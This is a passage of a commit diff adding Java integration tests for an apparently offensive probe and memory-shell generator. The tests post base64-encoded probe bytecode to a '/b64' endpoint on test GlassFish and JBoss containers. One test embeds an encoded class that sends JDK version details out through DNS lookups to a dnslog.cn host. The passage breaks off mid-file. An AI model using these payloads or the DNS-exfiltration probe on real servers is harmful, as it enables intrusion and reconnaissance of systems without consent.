feat: support probe shell generation

integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java

@@ -0,0 +1,49 @@
+package com.reajason.javaweb.integration.probe;
+
+import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
+import com.reajason.javaweb.memshell.utils.CommonUtil;
+import com.reajason.javaweb.probe.payload.BasicInfoPrinter;
+import com.reajason.javaweb.probe.payload.JdkProbe;
+import com.reajason.javaweb.probe.payload.ServerProbe;
+import com.reajason.javaweb.util.ClassDefiner;
+import net.bytebuddy.ByteBuddy;
+import org.apache.commons.codec.binary.Base64;
+import org.junit.jupiter.api.Test;
+
+/**
+ * @author ReaJason
+ * @since 2025/7/28
+ */
+public class DetectionTool {
+
+    public static String getBase64Class(Class<?> clazz) {
+        return Base64.encodeBase64String(new ByteBuddy()
+                .redefine(clazz)
+                .name(CommonUtil.generateShellClassName())
+                .visit(TargetJreVersionVisitorWrapper.DEFAULT)
+                .make().getBytes());
+    }
+
+    public static String getJdkDetection() {
+        return getBase64Class(JdkProbe.class);
+    }
+
+    public static String getBasicInfoPrinter() {
+        return getBase64Class(BasicInfoPrinter.class);
+    }
+
+    public static String getServerDetection() {
+        return getBase64Class(ServerProbe.class);
+    }
+
+    @Test
+    void test() {
+        System.out.println(getServerDetection());
+    }
+
+    @Test
+    void testBase() {
+        byte[] bytes = Base64.decodeBase64("yv66vgAAADIAeQEAJW9yZy9hcGFjaGUvY29tbW9ucy9EcExrTC9FcnJvckhhbmRsZXIHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAEaG9zdAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAEG01OTV6Yi5kbnNsb2cuY24IAAcBAAY8aW5pdD4BAAMoKVYBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwALDAAJAAoKAAQADQEABmdldEpkawEAFCgpTGphdmEvbGFuZy9TdHJpbmc7DAAPABAKAAIAEQEAAlx8CAATAQAQamF2YS9sYW5nL1N0cmluZwcAFQEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7DAAXABgKABYAGQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyBwAbCgAcAA0BAAhqZGtUeXBlLggAHgEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwwAIAAhCgAcACIBAAh0b1N0cmluZwwAJAAQCgAcACUBAAxqYXZhVmVyc2lvbi4IACcBABFjbGFzc0ZpbGVWZXJzaW9uLggAKQEAE1tMamF2YS9sYW5nL1N0cmluZzsHACsBAAEuCAAtDAAFAAYJAAIALwEAFGphdmEvbmV0L0luZXRBZGRyZXNzBwAxAQAMZ2V0QWxsQnlOYW1lAQArKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbmV0L0luZXRBZGRyZXNzOwwAMwA0CgAyADUBAAlqYXZhLmhvbWUIADcBABBqYXZhL2xhbmcvU3lzdGVtBwA5AQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAOwA8CgA6AD0BAAxqYXZhL2lvL0ZpbGUHAD8BAA1zZXBhcmF0b3JDaGFyAQABQwwAQQBCCQBAAEMBAAlqYXZhYy5leGUIAEUBAAVqYXZhYwgARwEAA2JpbggASQEACXNlcGFyYXRvcgwASwAGCQBAAEwBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYMAAkATgoAQABPAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAAJAFEKAEAAUgEADWdldFBhcmVudEZpbGUBABAoKUxqYXZhL2lvL0ZpbGU7DABUAFUKAEAAVgEAIyhMamF2YS9pby9GaWxlO0xqYXZhL2xhbmcvU3RyaW5nOylWDAAJAFgKAEAAWQEABmV4aXN0cwEAAygpWgwAWwBcCgBAAF0BAANKREsIAF8BAANKUkUIAGEBAAxqYXZhLnZlcnNpb24IAGMBABBqYXZhL2xhbmcvRG91YmxlBwBlAQASamF2YS5jbGFzcy52ZXJzaW9uCABnCgBmAFIBAAhpbnRWYWx1ZQEAAygpSQwAagBrCgBmAGwBAAd2YWx1ZU9mAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7DABuAG8KABYAcAEAAXwIAHIBAAg8Y2xpbml0PgoAAgANAQANQ29uc3RhbnRWYWx1ZQEABENvZGUBAA1TdGFja01hcFRhYmxlACEAAgAEAAAAAQAJAAUABgABAHYAAAACAAgAAwABAAkACgABAHcAAADtAAYACAAAAJsqtwAOKrcAEhIUtgAaTAa9ABZZA7sAHFm3AB0SH7YAIysDMrYAI7YAJlNZBLsAHFm3AB0SKLYAIysEMrYAI7YAJlNZBbsAHFm3AB0SKrYAIysFMrYAI7YAJlNNLE4tvjYEAzYFFQUVBKIAMi0VBTI6BrsAHFm3AB0ZBrYAIxIutgAjsgAwtgAjtgAmuAA2V6cABToHhAUBp//NsQABAHEAjwCSAAwAAQB4AAAAOAAE/wBkAAYHAAIHACwHACwHACwBAQAA/wAtAAcHAAIHACwHACwHACwBAQcAFgABBwAM+gAB+AAFAAIADwAQAAEAdwAAATcABQAKAAAA0gFMKk0AAacAA00SOLgAPk6yAEQQXKAACBJGpwAFEkg6BLsAQFktuwAcWbcAHRJKtgAjsgBNtgAjGQS2ACO2ACa3AFA6BbsAQFm7AEBZLbcAU7YAV7sAHFm3AB0SSrYAI7IATbYAIxkEtgAjtgAmtwBaOgYZBbYAXpoACxkGtgBemQAIEmCnAAUSYjoHEmS4AD46CLsAZlkSaLgAPrcAabYAbbgAcToJuwAcWbcAHRkHtgAjEnO2ACMZCLYAIxJztgAjGQm2ACO2ACZZTacAA0wssAAAAAEAeAAAAFMAC/wAAgcAFvwAAQcAAv8ABAACBwACBwAWAAEHABb8AAAHABb8ABIHABZBBwAW/gBjBwAWBwBABwBABEEHABb/AEQAAwcAAgcAFgcAFgABBwAWAAAIAHQACgABAHcAAAAnAAIAAAAAABGnAA0AuwACWbcAdVexAKf/9QAAAAEAeAAAAAQAAgMJAAA=");
+        ClassDefiner.defineClass(bytes);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish3ContainerTest.java

@@ -0,0 +1,81 @@
+package com.reajason.javaweb.integration.probe.glassfish;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.jupiter.api.BeforeAll;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.Opcodes;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+import java.time.Duration;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/12
+ */
+@Slf4j
+@Testcontainers
+public class GlassFish3ContainerTest {
+    public static final String imageName = "reajason/glassfish:3.1.2.2-jdk6";
+
+    @Container
+    public static final GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/usr/local/glassfish3/glassfish/domains/domain1/autodeploy/app.war")
+            .waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1).withStartupTimeout(Duration.ofMinutes(5)))
+            .withExposedPorts(8080);
+    @BeforeAll
+    static void setup() {
+        container.waitingFor(Wait.forHttp("/app/"));
+    }
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.6.0_45|50", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.GLASSFISH, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish4ContainerTest.java

@@ -0,0 +1,87 @@
+package com.reajason.javaweb.integration.probe.glassfish;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.api.BeforeAll;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.Opcodes;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+import java.time.Duration;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/12
+ */
+@Slf4j
+@Testcontainers
+public class GlassFish4ContainerTest {
+    public static final String imageName = "reajason/glassfish:4.1.2-quick";
+
+    @Container
+    public static final GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/app.war")
+            .waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1).withStartupTimeout(Duration.ofMinutes(5)))
+            .withExposedPorts(8080);
+
+    @BeforeAll
+    static void setup() {
+        container.waitingFor(Wait.forHttp("/app/"));
+    }
+    @AfterAll
+    static void tearDown() {
+        System.out.println(container.getLogs());
+    }
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.8.0_271|52", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.GLASSFISH, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish501ContainerTest.java

@@ -0,0 +1,73 @@
+package com.reajason.javaweb.integration.probe.glassfish;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.Opcodes;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/12
+ */
+@Slf4j
+@Testcontainers
+public class GlassFish501ContainerTest {
+    public static final String imageName = "reajason/glassfish:5.0.1";
+    @Container
+    public static final GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
+            .waitingFor(Wait.forLogMessage(".*deployed.*", 1))
+            .withExposedPorts(8080);
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.8.0_411|52", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.GLASSFISH, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish510ContainerTest.java

@@ -0,0 +1,74 @@
+package com.reajason.javaweb.integration.probe.glassfish;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.Opcodes;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/12
+ */
+@Slf4j
+@Testcontainers
+public class GlassFish510ContainerTest {
+    public static final String imageName = "reajason/glassfish:5.1.0";
+
+    @Container
+    public static final GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
+            .waitingFor(Wait.forLogMessage(".*deployed.*", 1))
+            .withExposedPorts(8080);
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.8.0_411|52", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.GLASSFISH, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish6ContainerTest.java

@@ -0,0 +1,75 @@
+package com.reajason.javaweb.integration.probe.glassfish;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.Opcodes;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/12
+ */
+@Slf4j
+@Testcontainers
+public class GlassFish6ContainerTest {
+    public static final String imageName = "reajason/glassfish:6.2.6-jdk11";
+
+    @Container
+    public static final GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warJakartaFile, "/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/app.war")
+            .waitingFor(Wait.forLogMessage(".*deployed.*", 1))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|11.0.16|55", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.GLASSFISH, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V11);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V11);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java

@@ -0,0 +1,81 @@
+package com.reajason.javaweb.integration.probe.glassfish;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.Opcodes;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/12
+ */
+@Slf4j
+@Testcontainers
+public class GlassFish7ContainerTest {
+    public static final String imageName = "reajason/glassfish:7.0.20-jdk17";
+
+    @Container
+    public static final GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warJakartaFile, "/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
+            .waitingFor(Wait.forLogMessage(".*startup time.*", 1))
+            .withExposedPorts(8080);
+
+    @AfterAll
+    public static void tearDown() {
+        System.out.println(container.getLogs());
+    }
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|17.0.2|61", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.GLASSFISH, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V17);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V17);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss423ContainerTest.java

@@ -0,0 +1,75 @@
+package com.reajason.javaweb.integration.probe.jbossas;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.Opcodes;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/10
+ */
+@Slf4j
+@Testcontainers
+public class Jboss423ContainerTest {
+    public static final String imageName = "reajason/jboss:4-jdk6";
+    @Container
+    public static final GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/usr/local/jboss/server/default/deploy/app.war")
+            .withEnv("JAVA_OPTS", "-Xms128m -Xmx512m -XX:MaxPermSize=128M -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.6.0_45|50", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.JBOSS, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss510ContainerTest.java

@@ -0,0 +1,74 @@
+package com.reajason.javaweb.integration.probe.jbossas;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.Opcodes;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/10
+ */
+@Slf4j
+@Testcontainers
+public class Jboss510ContainerTest {
+    public static final String imageName = "reajason/jboss:5-jdk6";
+    @Container
+    public static final GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/usr/local/jboss/server/web/deploy/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.6.0_45|50", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.JBOSS, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss610ContainerTest.java

@@ -0,0 +1,74 @@
+package com.reajason.javaweb.integration.probe.jbossas;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.Opcodes;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/10
+ */
+@Slf4j
+@Testcontainers
+public class Jboss610ContainerTest {
+    public static final String imageName = "reajason/jboss:6-jdk7";
+    @Container
+    public static final GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/usr/local/jboss/server/jbossweb-standalone/deploy/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.7.0_17|51", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
